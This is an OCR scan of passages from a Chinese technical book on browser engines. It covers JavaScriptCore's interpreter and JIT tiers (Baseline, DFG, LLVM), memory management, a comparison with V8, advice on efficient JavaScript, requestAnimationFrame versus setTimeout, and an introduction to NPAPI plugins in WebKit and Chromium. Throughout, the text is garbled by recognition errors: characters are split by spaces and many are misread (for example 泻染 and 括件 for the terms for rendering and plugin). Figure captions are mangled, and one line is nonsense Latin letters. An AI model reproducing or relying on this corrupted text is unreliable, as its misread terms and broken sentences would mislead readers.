中 的 信息 收集 右 1 之 所 以 加 上 “1”， 是 为 了 区 别 JavaScriptCore 中 包含 的 各 
种 各 样 的 信息 收集 器 。 








字 节 码 解释 器 和 信息 收集 器 1 





图 9-23 ” JavaScriptCore 从 宁 节 码 到 解释 器 和 信息 收集 器 


第 三 ，JavaScriptCore 引 擎 在 获悉 热点 函数 后 ， 需 要 对 它们 进行 优 
化 ， 就 会 使 用 到 简单 〈Baseline) JIT 编 译 器 ， 该 编译 器 根据 信息 收集 器 
1 中 的 信息 ， 将 对 应 函数 的 字 节 人 码 翻 译 成 本 地 代码 ， 不 仅 因 为 时 间 问 
题 ， 而 且 并 不 是 所 有 代码 都 合适 做 深层 次 的 优化 ， 所 以 这 里 没有 做 特别 
多 的 优化 ， 而 是 直接 做 转换 。 图 9-24 描 述 了 这 一 过 程 。 在 实行 这 些 本 地 








代码 的 时 候 ， 会 有 信息 收集 器 2 来 收集 代码 并 作 做 一 步 的 优化 。 





信息 收集 器 2 


简单 JIT 编译 器 本 地 代码 1 





图 9?-24 JavaScriptCore 的 简单 JIT 编 译 器 


第 四 ， 如 果 你 认为 只 需要 JII 编 译 器 就 够 了 了 ， 那 下 错 了 ， 人 简单 的 JIT 
编译 器 并 不 能 满足 性 能 的 要 求 ， 特 别 是 对 V8 的 Crankshaft 编 译 器 来 说 ， 
性 能 差距 就 显现 出 来 了 。 为 了 提高 性 能 ，JavaScriptCore 中 又 引入 了 
DFG (Data-Flow Graph) JII 编 译 器 ， 该 编译 器 是 在 字 节 但 基础 上 ， 生 
成 基于 SSA (Static Single Assignment) 的 中 间 表 示 CIR) 。 当 然 具 体 哪 
些 字 节 码 需要 重新 生成 优化 的 本 地 代码 ， 就 依赖 之 前 的 信息 收集 器 2， 
如 图 9-25 所 示 。 优 化 后 的 本 地 代码 相 比 之 前 的 代码 ， 对 于 性 能 有 很 好 的 
提升 。 











DFG JIT 编译 器 


基于 SSA 的 中 间 表 示 





图 9-25 ”JavaScriptCore 的 DFG JIT% 


第 五 ， 要 是 你 认为 这 样 就 足够 了 ， 那 就 更 错 了 。 在 笔者 介绍 
JavaScriptCore 的 时 候 ， 该 项 目 依 然 在 进行 一 项 更 为 大 胆 的 工作 ， 就 是 将 
LLVM 技 术 引 入 到 JavaScriptCore。 那 么 LLVM 是 什么 昵 ?LLVM 是 一 个 
由 苹果 公司 发 起 的 开源 项 目 ， 其 开发 和 灵活 的 架构 受到 越 来 越 多 人 的 关 
注 。 


LLVM 是 一 个 编译 器 ， 能 够 将 多 个 不 同 的 前 端 语言 转化 成 不 同 的 后 


端 本 地 代码 ， 图 9-26 描 述 了 LLVM 的 基本 结构 ， 该 编译 器 在 前 端 和 后 端 
都 能 做 优化 ， 这 些 优化 都 是 可 配置 的 ， 所 以 非常 灵活 。 同 时 ， 随 着 该 项 
目 越 来 越 成 功 ， 加 入 的 优化 也 越 来 越 多 。JavaScriptCore 希 户 将 LLVM 编 
译 器 的 中 间 表 示 引 入 其 中 ， 这 样 将 很 容易 将 这 些 优化 使 用 在 该 引擎 中 ， 
图 9-27 描 述 了 这 一 过 程 。 


优化 1 优化 2 





LLVM 中 间 表 示 





优化 … 


图 9-26 LLVM 基 本 结构 





再 优化 后 本 地 代码 3 


图 9-27 使 用 LLVM 技 术 的 JIT 编 译 器 





这 一 过 程 是 基于 DFG JII 中 间 表 示 开 始 的 ， 为 了 节省 时 间 ， 使 用 了 
并 行 编译 算法 。 之 后 ， 生 成 LLVM 的 中 间 表 示 ， 这 样 就 可 以 使 用 LLVM 
中 间 表 示 之 后 的 众多 优化 ， 而 且 可 以 按 需 配置 它们 。 这 一 过 程 仅仅 对 于 
那些 最 热点 的 函数 使 用 ， 因 为 其 层次 太 多 ， 消 耗 的 时 间 更 多 ， 所 以 慎 
用 。 这 一 技术 目前 还 在 开发 中 ， 未 来 效果 如 何 还 未 可 知 ， 不 过 相信 对 于 
某 些 特定 的 例子 会 有 不 少 好 处 。 





为 什么 不 直接 使 用 优化 性 能 最 好 的 编译 圳 呢 ? 原因 是 优化 越 好 通 帝 
需要 的 分 析 和 生成 代码 的 时 间 就 越 长 。 读 者 回忆 之 前 介绍 的 应 用 场景 就 


会 发 现 ， 如 果 用 户 使 用 的 是 利用 C/C++ 编 译 的 代码 ， 那 么 编译 时 间 长 一 
点 问题 不 大 ， 因 为 是 开发 者 在 编译 他 们 。 而 对 于 JavaScript 来 说 ， 编 译 时 
间 越 长 ， 对 用 户 来 说 同样 ， 每 待 的 时 间 更 长 ， 效 果 可 能 也 未 必 会 好 。 这 
就 是 一 把 双 丸 人 证， 所 以 该 方法 只 限定 在 特定 的 范围 内 使 用 。 


9.3.4 ”内存 管理 


在 JavaScriptCore 中 ， 内 存 管 理 和 垃圾 回收 机 制 也 随 着 其 他 技术 的 改 
变 而 发 生 着 很 大 的 变化 。 对 于 垃圾 回收 机 制 来 说 ， 最 重大 的 改变 就 是 像 
V8 一 样 ， 引 入 了 分 代 垃 圾 回收 机 制 。 所 以 ， 堆 也 会 被 分 成 几 个 分 代 。 
这 样 ， 当 进行 垃圾 回收 的 时 候 ， 就 不 需要 对 所 有 对 象 进行 标记 。 分 代 技 
术 前 面 也 讨论 过 了 ， 而 且 很 早 就 在 其 他 虚拟 机 中 使 用 ， 如 Java 虚 拟 机 ， 
它们 思想 都 是 类 似 的 ， 这 里 不 再 竟 述 。 











在 V8 中 使 用 Zone 来 一 次 性 释放 内 存 ，JavaScriptCore 中 也 有 类 似 的 
机 制 ， 那 就 是 JSGlobalData， 这 里 也 不 再 过 多 的 描述 。 


9.3.5 AE 





JavaScriptCore 同 样 能 够 提供 绑 定 机 制 ， 目 前 泻 染 引擎 同样 是 通过 该 
机 制 访问 DOM 的 操作 函数 ， 这 点 跟 V8 非 常 像 。 本 质 上 ， 它 们 都 是 提供 
额外 的 JavaScript 接 口 来 扩展 JavaScript 引 擎 的 能 力 。 同 样 ， 我 们 将 在 下 
一 章 做 详细 介绍 。 








9.3.6 ”比较 JavaScriptCore 和 V8 


由 于 JavaScriptCore 一 直 是 Webkit 的 默认 JavaScript 引 擎 ， 所 以 被 广 
泛 应 用 。 但 是 ， 随 着 Google 发 布 Chrome 的 同时 加 上 V8 引 擎 ， 而 且 V8 自 
出 现 后 就 是 以 性 能 作为 目标 ， 引 入 了 众多 新 疾 的 技术 ， 确 实 极 大 地 推动 
了 整个 业界 的 JavaScript 引 擎 性 能 的 快速 发 展 。 但 是 ， 如 果 想 用 一 句 话 说 
明 V8 和 JavaScriptCore 的 优 务 ， 这 是 很 困难 的 。 在 很 多 领域 ，V8 扮 演 着 
冲锋 者 的 角色 ， 但 是 JavaScriptCore 依 旧 不 断 改进 自己 的 技术 和 实现 ， 同 
时 在 某 些 方面 ， 因 为 使 用 了 一 些 V8 没 有 的 东西 ， 如 字 节 码 反 而 在 某 些 
情况 下 较 容 易 优 化 。 当 然 ， 这 也 不 是 绝对 的 。 





天 于 各 个 技术 细节 ， 例 如 内 部 代码 表示 、 解 释 器 、JIT、 句 柄 数据 
表示 等 方面 ， 我 们 在 前 面 都 一 一 做 了 介绍 ， 读 者 可 以 回忆 一 番 。 我 们 前 
面 已 经 介绍 了 以 上 两 个 引擎 的 很 多 特点 和 好 处 ， 笔 者 还 希望 留 一 些 想 象 
的 空间 ， 让 读者 自己 体会 上 面 这 些 技术 细 市 带 来 的 潜在 优势 和 缺点 ， 以 
及 潜在 的 发 展 方 同 。 











9.4 ”实践 
4g 


9.4.1 编程 方式 


高 效 的 JavaScript 代 


关于 如 何 使 用 JavaScript 语 言 来 编写 高 效 的 代码 ， 有 很 多 铺天盖地 的 
经 验 分 享 ， 以 及 很 多 特别 好 的 建议 ， 读 者 可 以 搜索 相关 的 词 条 ， 束 能 获 
得 一 些 你 可 能 需要 的 结果 。 同 时 ， 本 节 和 希望 结合 前 面 介 绍 的 各 种 引擎 内 
部 的 技术 ， 按 照 特定 的 类 别 为 读者 归纳 一 些 方 式 和 方法 ， 让 我 们 从 以 下 
几 个 方面 来 解读 它们 。 





e 类 型 ”。 因 为 JavaScript 的 类 型 是 在 动态 时 候 确定 的 ， 这 给 引擎 带 来 
很 大 的 问题 。 同 时 对 于 某 个 函数 来 说 ，V8 和 JavaScriptCore 都 使 用 
了 隐藏 类 和 内 骸 绥 存 技术 来 加 速 对 象 和 属性 的 访问 ， 所 以 对 于 该 函 
数 只 是 使 用 某 个 类 型 的 对 象 或 者 较 少 类 型 ， 以 此 减少 缓存 失误 的 机 
率 从 而 提高 性 能 。 同 时 ， 对 于 数组 ， 尽 量 使 用 存放 相同 类 型 的 数 
据 ， 这 样 可 以 通过 偏 移 位 置 来 访问 它们 。 在 目前 的 众多 技术 中 ， 比 
较 突出 的 就 是 asm.js， 它 主要 是 在 JavaScript 中 显示 标记 一 些 类 型 ， 
这 样 可 以 让 JavaScript 引 擎 能 够 准确 判断 对 象 的 类 型 ， 从 而 生成 优化 
的 代码 。 目 前 Firefox 项 目 中 的 JavaScript 引 擎 SpiderMonkey 已 经 〈 正 
在 做 ) 内 置 支持 该 JavaScript 文 件 ， 详 情 请 查找 asm.js。 

。 数据 表示 。。 因 为 一 些 简单 类 型 的 数据 直接 保存 在 句柄 中 ， 这 能 够 
有 效 地 减少 寻 址 时 间 和 内 存 的 使 用 。 但 是 ， 因 为 使 用 了 一 部 分 位 
《特别 对 于 V8 引 擎 ) 来 表示 ， 上 所 以 整数 表示 范围 缩小 ， 如 果 使 用 











较 大 的 整数 ， 那 么 就 需要 使 用 堆 来 保存 。 同 时 ， 对 于 数值 来 说 ， 只 
要 能 够 使 用 整数 的 ， 尺 量 不 要 使 用 浮 点 类 型 。 

内 存 ”。 有 效 使 用 内 存 能 够 显著 地 提高 代码 的 性 能 。 对 于 使 用 垃圾 
回收 的 语言 来 说 ， 并 不 是 意味 着 没有 内 存 泄 圳 的 问题 ， 这 就 需 要 即 
时 回收 不 需要 使 用 的 内 存 。 简 单 的 做 法 就 是 对 引用 不 再 使 用 的 对 象 
的 变量 设置 为 空 (a = null) 。 另 外 一 个 方法 跟 类 型 有 关 ， 通 过 引入 
delete 关 键 字 ， 代 码 可 以 使 用 “delete ax 来 删除 一 个 对 象 ， 这 虽然 可 
以 减少 内 存 的 使 用 ， 但 是 因为 使 用 了 隐藏 类 ， 这 种 情况 下 可 能 需要 
新 建 隐藏 类 ， 所 以 这 会 之 来 一 些 复杂 的 额外 操作 。 

优化 回 滚 。 如 前 面 介绍 的 ， 不 要 书写 出 触发 出 现 优化 回 深 的 代 
码 ， 人 否则 会 大 幅 降 低 代 码 的 性 能 。 在 执行 多 次 之 后 ， 不 要 出 现 修改 
对 象 类 型 的 语句 。 这 说 起 来 可 能 有 些 难 ， 但 实际 上 ， 如 示例 代码 9- 
5 之 类 的 用 法 即 可 。 

新 机 制 ”。 使 用 JavaScript 引 擎 或 者 是 演 染 引擎 提供 的 新 机 制 和 新 接 
口 ， 如 前 面 介绍 的 requestAnimationFrame 等 接口 ， 这 样 可 以 有 效 减 
少 JavaScript 引 苟 的 额外 负担 。 男 外 ， 可 以 使 用 WebWorker 等 
JavaScript 并 发 技术 来 提升 引擎 并 发 处 理 能 

















9.4.2 ”例子 


在 浏览 器 中 ，JavaScript 引 擎 和 泻 染 引擎 WebKit 需 要 协同 工作 才能 
达到 一 个 好 的 效果 ， 结 合 这 二 者 ， 这 一 小 节 来 介绍 一 个 简单 的 例子 ， 残 
是 后 来 被 引入 的 新 的 JavaScript 接 口 requestAnimationFrame， 以 此 来 解释 
它 是 如 何 解 决 两 者 之 间 一 些 比较 难以 处 理 的 问题 的 ， 以 及 它 给 Web 前 端 
开发 者 带 来 的 思考 。 


接触 过 JavaScript 的 读者 应 该 有 过 了 解 或 者 使 用 setTimeonut 或 
setInterval 的 经 历 ， 其 功能 是 在 每 个 时 间 间 隔 之 后 一 次 性 或 者 重复 多 次 
执行 一 段 JavaScript 代 码 〈 称 为 回调 函数 ) ， 以 完成 特定 的 动画 要 求 。 但 
是 ， 这 里 面 多 少 还 有 些 疑 问 。 





时 间 间 隔 应 该 设置 为 多 少 才 合适 呢 ? 跟 屏 幕 的 分 辨认 有 关系 吗 ? 
设置 的 时 间 间隔 会 按照 预想 的 执行 中? 动画 会 被 平滑 地 显示 出 效果 
吗 ? 

回调 函数 是 复杂 的 好 还 是 简单 的 好 呢 ? 应 该 如 何 编写 才能 效率 高 

We? 

与 平台 和 浏览 器 相关 吗 ? 如 何 适 应 不 同 操作 系统 和 浏览 器 呢 ? 





这 些 问 题 对 setTimeout 和 setInterval 来 说 很 重要 。 对 主 循环 机 制 和 演 
染 机 制 有 一 定 了 解 的 读者 来 说 ， 上 面 这 几 条 其 实 是 非常 难 做 到 的 ， 哪 怕 
是 较为 接近 理想 的 结果 也 很 难 达 到 。 





幸运 的 是 ， 总 是 有 聪明 的 人 来 帮助 大 家 解决 难题 。 对 问题 提出 一 个 
漂亮 解决 方案 的 是 Mozilla 的 Robert O'Callahan。 他 的 灵感 和 依据 来 源 于 
CSS。CSS 能 够 知道 动画 什么 时 候 发 生 ， 所 以 能 够 较为 准确 地 知道 什么 
时 候 该 刷新 用 户 界面 。 对 于 JavaScript 来 说 ， 是 不 是 也 可 以 应 用 类 似 的 机 
制 呢 ? 管 案 是 肯定 的 。 其 做 法 是 增加 一 个 新 的 函数 
requestAnimationFrame， 该 函数 告诉 浏览 器 JavaScript 想 发 起 一 个 动画 
帧 ， 然 后 在 动画 帧 绘制 之 前 ， 需 要 做 一 些 动作 ， 这 样 浏 览 右 可 以 根据 需 
要 来 优化 自己 的 消息 循环 机 制 和 调用 时 间 点 ， 以 达到 较 好 的 平衡 效果 。 








WebKit 中 setTimeout 和 setInterval 的 实现 机 制 是 类 似 的 ， 区 别 在 于 后 
者 是 重复 性 的 ， 如 图 9-28 所 示 的 类 关系 。 











ThreadTimers 





TimerBase 


SuspendableTimer 
DOMTimer 


图 9-28 WebKit 中 的 计时 器 等 相关 类 






WebKit 会 为 DOM 树 中 的 每 个 setTimeout 和 setInterval 调 用 创建 一 个 
DOMTimer， 而 后 该 对 象 会 由 存储 TLS (Thread Local Storage) 中 的 
ThreadTimers 负 责 管理 ， 其 内 部 其 实 是 一 个 最 小 堆 ， 每 次 将 超时 时 间 设 
置 为 最 小 的 。 同 时 ， 时 间 相 同 的 计时 占 可 以 合并 。 当 计时 器 超时 后 ， 
Chromium 将 清除 该 计时 器 对 象 ， 同 时 调用 相应 的 回调 函数 ， 回 调 函 数 
通常 会 更 新 页 面 的 样式 和 布局 ， 这 会 触发 重新 计算 布局 ， 从 而 触发 并 即 
重新 绘制 一 个 新 帧 。 绪 合 上 面 的 描述 ， 这 里 大 致 总 结 一 下 setTimeout 和 
setInterval 的 不 足 。 








。 setTimeout 和 setInterval 从 不 考虑 浏览 器 内 部 发 生 了 其 他 什么 事 ， 它 
们 只 要 求 浏览 器 在 某 个 时 间 之 后 来 调用 回调 函数 ， 无 论 浏览 器 很 繁 
忙 或 者 页 面 被 隐藏 (虽然 某 些 浏览 器 做 了 这 方面 的 优化 ， 如 
Chromium) . 

e setTimeout#llsetInterval 只 是 要 求 浏览 器 做 什么 ， 而 不 管 浏览 器 能 不 
能 做 到 《如 主 循环 有 很 多 事件 需要 处 理 ) ， 这 有 点 强人 所 难 ， 而 且 
会 带 来 极 大 的 资源 浪费 。 例 如 屏幕 的 刷新 率 是 60Hz， 但 是 设置 的 时 
间 间 隔 是 5 蝶 秒 ， 其 实 对 用 户 来 说 ， 他 们 根本 看 不 到 这 些 变化 ， 但 
却 额外 需要 消耗 更 多 的 CPU 资源 ， 太 不 环保 了 。 























e setTimeout 和 setInterval 可 能 是 出 于 编程 风格 方面 的 考虑 。 如 果 每 一 
帧 在 不 同 的 代码 处 需要 设置 回调 函数 ， 一 个 方法 是 将 这 些 代 码 统一 
到 一 个 地 方 ， 但 是 这 有 点 勉 为 其 难 ， 另 一 个 方法 是 分 别 用 
setInterval 设 置 它们 ， 这 个 方法 的 问题 是 ， 浏 览 句 可 能 需要 计算 更 
多 次 ， 刷 新 更 多 次 的 屏幕 。 


现在 再 来 看 看 requestAnimationFrame 是 如 何 解决 这 些 不 足 之 处 的 
E? 其 原理 就 是 其 会 申请 绘制 下 一 帧 ， 至 于 什么 时 候 还 不 知道 ， 都 是 由 
浏览 器 决定 ， 浏 览 器 只 需要 在 绘制 下 一 帧 前 执行 其 设置 的 回调 函数 ， 完 
成 JavaScript 代 码 对 动画 所 做 的 设置 和 逻辑 即 可 。 基 本 过 程 如 下 。 


e JavaScript 调 用 requestAnimationFrame， 因 而 相应 地 ，Webkit 和 
Chromium 会 调度 一 个 需要 绘制 下 一 帧 的 事件 ， 该 事件 会 将 
requestAnimationFrame 的 调用 上 下 文 和 回调 函数 记录 下 来 。 

e 上 上面 的 请 求 会 触发 Chromium 更 新 页 面 内 容 的 事件 ， 该 事件 被 
mainloop 调 度 处 理 后 ， 会 检查 是 否 需 要 调用 动画 的 相关 处 理 ， 因 为 
有 动画 需要 处 理 ， 所 以 会 依次 调用 那些 回调 函数 ，JavaScript 引 擎 会 
更 新 相应 的 CSS 属 性 或 者 DOM 树 修改 。 

。 Chromium 触 发 重新 计算 布局 〈 参 看 布局 音节) ， 更 新 自己 的 
Renderer 树 ， 而 后 绘制 ， 完 成 一 帧 的 泻 染 。 











上 面 这 些 描述 会 给 web 前端 开发 者 们 在 编写 JavaScript 代 码 时 市 来 哪 
些 思 考 和 便利 呢 ? 





。 回调 函数 不 能 太 大 ， 不 能 占用 太 长 时 间 ， 和 否则 会 影响 页 面 的 响应 和 
绘制 的 频率 。 

。 requestAnimationFrame 不 需要 设置 间隔 时 间 ， 不 同 刷 新 率 的 间隔 时 
间 可 能 不 一 样 ， 这 完全 由 浏览 器 来 控制 ， 而 不 需要 JavaScript 代 码 的 





开发 者 们 操心 。 
。 回调 函数 无 需 合 并 ， 开 发 者 们 可 以 在 任意 位 置 设置 回调 函数 ， 它 们 
可 以 被 浏览 右 集 中 处 理 ， 而 无 需 有 统一 的 入 口 。 














一 个 新 的 JavaScript 接 口 可 以 带 来 很 不 错 的 处 理 方式 ， 以 此 来 平衡 
JavaScript 引 擎 和 演 染 引擎 之 间 的 关系 ， 并 且 能 够 有 效 帮 助 那些 利用 
JavaScript 和 HTML5 技 术 来 实现 动画 的 开发 者 们 ， 这 一 点 值得 我 们 思 
考 。 


9.4.3 ”未 来 


因为 历史 的 局 限 性 ，JavaScript 最 初 的 时 候 并 不 合适 用 来 开发 大 工程 
和 性 能 要 求 非 常 高 的 场景 ， 所 以 开发 者 编写 的 代码 对 性 能 要 求 也 不 是 很 
高 。 但 是 ， 目 前 的 发 展 趋势 是 需要 很 高 的 性 能 ， 为 此 ， 仅 仅 依靠 任何 一 
方 是 没有 办 法 来 达到 此 目标 的 。 笔 者 认为 ， 今 后 为 了 高 效 的 JavaScript 代 
码 性 能 ， 人 至 少 需要 以 下 三 个 方面 的 努力 ， 而 且 ， 就 目前 而 言 ， 它 们 也 都 
在 不 停 地 向 前 发 展 。 


























首先 是 JavaScript 语 言 和 规范 的 发 展 。 目 前 虽然 规范 定义 的 
WebWorker 在 一 定 程度 上 能 够 并 有 发， 但 是 能 力 非常 有 限 ， 而 且 两 者 之 间 
只 能 通过 有 限 的 方式 来 通信 《这 个 技术 是 由 W3C 组 织 引 入 的 ) 。 如 采 能 
够 在 ECMAScript 标 准 中 推动 并 行 JavaScript 能 力 ， 这 绝对 是 一 个 大 胆 而 
又 令 人 神往 的 想法 。 目 前 ， 一 些 大 公司 或 者 组 织 已 经 在 推动 并 行 
JavaScript， 和 希望 未 来 有 快速 的 发 展 ， 能 够 带领 JavaScript 真 正 进入 并 行 
ISAK 





其 次 是 JavaScript 引 擎 扩 术 的 发 展 和 创新 。 一 个 简单 的 例子 就 是 ， 


V8 AN HS ZB H EE Td PE as AN Hr A BlJavaScript 5 POR, E 
时 目 身 也 创造 一 些 新 的 方法 。 据 笔者 目前 观察 得 知 ， 基 本 每 个 V8 版 本 
的 升级 都 会 带 来 性 能 上 的 提高 ， 大 家 有 理由 相信 ， 在 这 场 JavaScript 引 擎 
大 战 中 ， 各 个 引擎 都 会 不 俘 地 提升 技术 以 提升 性 能 。 





最 后 是 同 Web 前 端 开 发 者 相关 的 ， 那 融 是 关于 编写 高 效 的 JavaScript 
代码 。 结 合 语言 的 新 能 力 和 引擎 技术 的 不 断 发 展 ， 要 根据 它们 的 特点 ， 
使 用 新 技术 和 回避 一 些 会 对 引擎 带 来 重大 性 能 伤害 的 用 法 。 目 前 还 没有 
这 方面 的 系统 介绍 ， 和 希望 未 来 能 够 有 更 多 帮助 开发 者 提高 代码 效率 的 使 
用 方法 被 共享 出 来 。 
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虽然 目前 的 浏览 器 能 力 很 强大 ， 但 是 仍然 有 能 力 不 足 的 时 候 。 特 别 
是 早期 的 浏览 器 能 力 十 分 有 限 ，Web 前 端 开 发 者 们 希望 能 够 通过 一 些 机 
制 来 扩展 浏览 器 的 能 力 。 早 期 的 方法 就 是 插件 机 制 ， 现 在 流行 的 则 是 混 
合 编程 (Hybrid Programming) 模式 。 插 件 一 直 伴随 着 浏览 器 的 发 展 ， 
最 著名 的 莫 过 于 Adobe 公 司 的 Flash 插 件 。 对 于 插件 的 接口 定义 ， 差 别 也 
是 很 大 ， 比 较 著 名 的 是 微软 公司 的 ActiveX 插 件 机 制 和 网 景 公 司 的 
NPAPI 插 件 。 随 后 ，Chromium 项 目 考虑 到 性 能 引入 了 PPAPI 插 件 机 制 ， 
同时 为 了 安全 方面 的 考虑 ， 引 入 了 Native ” ”Client 机制 。 这 些 插件 机 制 扩 
展 了 浏览 器 的 能 力 ， 极 大 地 丰富 了 网 页 的 应 用 场景 。 同 时 ， 随 着 
HTML5 的 发 展 ， 很 多 HTML5 功 能 同样 需要 扩展 JavaScript 的 编程 接口 ， 
以 便 开发 者 可 以 使 用 JavaScript 代 码 来 调用 ， 而 这 样 的 扩展 就 需要 相应 的 
机 制 来 实现 ， 本 章 将 重点 介绍 和 探索 这 些 机 制 。 














10.1 NPAPI 括 件 


10.1.1 NPAPI 简 介 


NPAPI (Netscape Plugin Application Programming Interface) 的 全 称 

网 景 插件 应 用 程序 编程 接口 ， 最 早 是 由 网 景 公司 提出 的 ， 用 于 让 浏览 
A 以 支持 网 页 中 各 种 格式 的 文件 ， 典 型 的 例子 是 视频 、 
音频 和 PDF 文件 等 〈 通 过 内 容 类 型 来 区 分 ) 。 对 于 这 些 网 络 资 源 或 者 文 
件 ， 浏 览 器 本 吴 并 不 支持 它们 。 但 是 ， 经 过 第 三 方 开发 者 开发 的 插件 程 
序 ， 浏 览 器 就 可 以 做 到 支持 了 。 图 10-1 是 Chrome 浏 览 器 使 用 NPAPI 插 件 
的 列表 中 一 个 示例 在 地 址 栏 中 输入 chrome://plugins/ 就 可 以 查看 到 所 有 
插件 ) 。 当 明 到 上 述 格 式 PDF 文 件 的 时 候 ，Chrome 浏 览 器 会 调用 该 阅读 
器 插件 ， 通 过 NPAPI 规 范 定义 的 接口 使 浏览 器 同 插件 之 间 得 以 交互 。 


Adobe Reader - Version: 10.1.7.27 
Adobe PDF Plug-In For Firefox and Netscape 10.1.7 
Name: Adobe Acrobat 








Description: Adobe PDF Plug-In For Firefox and Netscape 10.1.7 
Version: 10.1.7.27 
Location: C:\Program Files (x86)\Adobe\Reader 10.0\Reader\AIR\nppdf32.dll 
Type: NPAPI 
Disable 


MIME types: MIME type Description File extensions 





application/pdf Acrobat Portable Document Format .pdf 
application/vnd.adobe.pdfxm Adobe PDF in XML Format .pdfxm 
application/vnd.adobe.x-mars Adobe PDF in XML Format .mars 
application/vnd.fdf Acrobat Forms Data Format fdf 
application/vnd.adobe.xfdf XML Version of Acrobat Forms Data Format xfdf 
application/vnd.adobe.xdp+xml Acrobat XML Data Package .xdp 
application/vnd.adobe.xfd+xm Adobe FormFlow99 Data File xfd 





图 10-1 Chromeix w 3 + Adobe X 1% B 465 + 


现实 中 ，NPAPI 机 制 被 广泛 地 应 用 ， 很 多 厂商 或 者 开发 者 基于 该 接 


口 规范 编写 了 数量 众多 的 插件 实现 ， 因 而 Chromium 项 目 也 必须 对 它 提 
供 支 持 ， 不 过 Chromium 还 有 自己 独特 的 插件 架构 ， 后 面 会 详细 介绍 。 
使 用 插件 的 方法 也 非常 简单 ， 在 网 页 中 申明 如 下 语句 即 可 ， 它 表示 使 用 
上 述 插件 来 打开 一 个 PDF 文 件 并 显示 在 网 页 中 : 


<embed id="plugin" type="application/pdf" src="src/abc.pdf"> 


NPAPI 提 供 两 组 接口 ， 一 类 以 NPP 开 始 ， 由 插件 来 实现 ， 被 浏览 器 
调用 ， 主 要 包括 一 些 插件 创建 、 和 初始化、 关闭、 销毁 、 信 息 查 询 及 事件 
处 理 、 数 据 流 、 窗 口 设置 、URL 等 。 另 一 类 以 NPN 开 始 ， 由 浏览 器 来 实 
现 ， 被 插件 所 调用 ， 主 要 包括 图 形 绘制 、 数 据 流 处 理 、 浏 览 器 信息 查 
询 、 内 存 分 配 和 释放 、 浏 览 器 的 插件 设置 、URL 等 。 这 两 类 接口 足够 满 
足 大 多 数 双 方 交 互 的 需求 。 








原始 的 NPAPI 接 口 使 用 起 来 不 是 很 方便 ， 因 而 有 开发 者 对 其 进行 了 
封装 以 便于 其 使 用 。 一 个 比较 著名 的 开源 项 目 是 Firebreath。 它 将 原始 C 
风格 的 NPAPI 接 口 封装 成 C++ 风格 的 接口 ， 非 常 方便 用 户 使 用 ， 而 且 有 
针对 Windows 和 X ”Window 的 移植 ， 用 户 无 须 对 底层 接口 特别 了 解 。 更 
为 有 趣 的 是 ，Firebreath 也 有 对 ActiveX 接 口 规范 的 封装 ， 因 而 对 于 现在 
主流 的 两 种 插件 接口 ， 开 发 者 都 可 以 基于 Firebreath 的 接口 进行 编程 ， 极 
大 地 增强 了 移植 性 和 通用 性 。 详 情 请 参考 Firebreath 项 目的 主页 ， 网 址 如 
下 所 示 : 


http:/www .firebreath.org/display/documentation/FireBreath+Home。 








下 面 主要 介绍 WebKit 和 Chromium 中 是 如 何 支 持 插 件 机 制 的 ， 所 以 
上 面 的 使 用 Firebreath 等 项 目 开 发 插件 的 实现 不 在 本 书 的 范围 内 ， 有 兴趣 
的 读者 请 上 自行 学 习 。 





10.1.2 ”WebKit 和 Chromium 的 实现 


10.1.2.1 WebKit 基础 设施 


NPAPI 插 件 获得 了 WebKit 的 文 持 ， 因 为 它 的 广泛 使 用 性 。 在 HTML 
网 页 中 ， 可 以 通过 两 种 类 型 的 元 素 “embed” 和 “object” 来 使 用 插件 。 两 者 
都 可 以 用 来 在 网 页 中 内 骸 插 件 ， 看 起 来 <embed” 元 素 更 老 一 些 ， 之 前 的 
一 些 浏 览 器 只 文 持 “embed” 而 不 文 持 “object”"， 不 过 在 WebKit 中 ， 两 者 都 
得 到 了 支持 ,一 个 简单 的 例子 如 “<embed src='webkit.pdf/>”. ABA, 
WebKit 中 是 如 何 文 持 它们 的 呢 ? 


图 10-2 给 出 WebKit 中 文 持 插件 机 制 所 使 用 的 类 及 其 结构 ， 初 看 起 来 
比较 复杂 和 杂乱 无 章 ， 那 么 就 分 成 左 、 中 、 碳 三 个 部 分 分 别 介绍 它们 。 
左边 部 分 就 是 表示 插件 元 素 在 DOM 树 和 RenderObject 树 中 的 节点 类 ， 
为 有 两 种 HTML 元 素 可 以 表示 插件 ， 所 以 为 它们 抽象 出 来 了 一 个 基 类 。 
对 于 插件 元 素 在 DOM 树 中 的 对 应 节点 ，RenderObject 树 中 对 应 了 驶 是 
RenderWidget 对 象 ， 用 于 表示 这 是 个 可 视 化 的 元 系 。 在 某 些 WebKit 移 植 
中 ， 甚 至 引入 了 硬件 加 速 机 制 来 加 速 插件 的 绘制 ， 例 如 WebKit 的 Qt 移 
植 。 它 的 基本 思想 是 将 插件 元 素 作 为 单独 的 一 个 层 (PlatformLayer) 来 
处 理 ， 插 件 的 实例 将 绘制 所 有 内 容 在 这 一 层 上 ， 就 像 视 频 元 素 一 样 。 
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图 10-2 WebKit 中 支持 插件 的 相关 类 











图 中 右 侧 部 分 表示 的 是 WebKit 如 何 管理 插件 库 ， 主 要 使 用 两 个 类: 


PluginDatabase : 注册 和 管理 所 有 的 插件 实现 ， 一 个 插件 通常 是 一 
个 动态 库 ， 插 件 的 信息 包括 名 字 、 描 述 、 版 本 ， 还 有 最 重要 的 
MIME 类 型 和 文件 的 扩展 名 (File extensions) ， 例 如 图 10-1 中 的 
PDF 插件 能 够 支持 MIME 类 型 “application/pdf> 和 扩展 名 “.pdf"。 当 
然 ， 一 个 插件 也 可 以 支持 多 种 类 型 的 文件 。 同 时 ， 它 能 够 根据 
MIME 类 型 和 文件 扩展 名 来 查找 相应 的 插件 库 。 

PluginPackage : 表示 一 个 插件 库 ， 也 就 是 PluginDatabase 类 管理 的 
对 象 。 它 包含 两 个 非常 重要 的 变量 ， 就 是 m_pluginFuncs 和 
m_browserFuncs， 对 应 的 就 是 前 面 介绍 的 NPP 开 尖 的 函数 组 和 NPN 
开头 的 函数 组 。 











在 中 间 部 分 的 表示 是 插件 的 视图 部 分 ， 它 和 DOM 元 素 或 者 
RenderWidget 对 象 一 一 对 应 ， 其 作用 当然 是 绘制 插件 的 可 视 化 结果 ， 同 
时 它 需 要 调用 最 右 侧 的 类 来 获取 插件 。 


e NPP: 使 用 PluginPackage 的 接口 来 创建 的 插件 实例 。 

。 了 PluginViewBase : 抽象 类 ， 主 要 是 定义 一 些 接口 ， 这 些 接口 会 被 
HTMLPlugIn- ”Element 类 调用 ， 用 来 处 理 视图 方面 的 一 些 操作 ， 如 
鼠标 、 聚 焦 Cocus) 等 。 

